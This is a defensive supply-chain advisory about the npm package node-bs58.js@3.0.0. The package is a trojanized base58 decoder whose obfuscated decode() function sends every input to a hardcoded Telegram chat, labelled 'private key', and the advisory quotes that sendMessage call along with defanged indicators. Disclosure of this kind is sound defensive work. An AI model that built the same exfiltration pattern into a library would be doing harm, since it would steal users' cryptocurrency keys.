LWA-2026-14240 confirmed malware

node-bs58.js@3.0.0

Malicious code in node-bs58.js (npm)

T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1027 · Obfuscated Files or InformationT1552 · Unsecured CredentialsT1041 · Exfiltration Over C2 ChannelT1567 · Exfiltration Over Web ServiceT1102 · Web Service

Analysis

node-bs58.js@3.0.0 is a trojanized base58 codec. It declares bs58 as a dependency but ships an obfuscated index.js (rotating string array, _0x-prefixed identifiers) whose exported decode() function does two things in sequence: it calls bot['sendMessage'](chatId, 'private key=' + input) and then returns bs58.decode(input). The Telegram client is constructed at module load from an embedded bot token (bot id 7764117154) with hardcoded chat id 7631491367, using the node-telegram-bot-api dependency. Every value passed to decode() — base58 is the encoding of Solana and many bitcoin key formats — is therefore forwarded over the Telegram Bot API to a chat chosen by the package author, tagged with the literal label "private key=". There is no install hook; the send happens whenever a caller invokes decode(). The tarball also contains two unused nested archives, node-bs58.js-1.0.0.tgz and solana-bs58.js-1.0.0.tgz. Network endpoint: hxxps://api[.]telegram[.]org/bot<token>/sendMessage.

analyzed by
Leitwacht
first seen
Nov 17, 2026, 05:57 AM
analyzed
Nov 17, 2026, 06:00 AM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.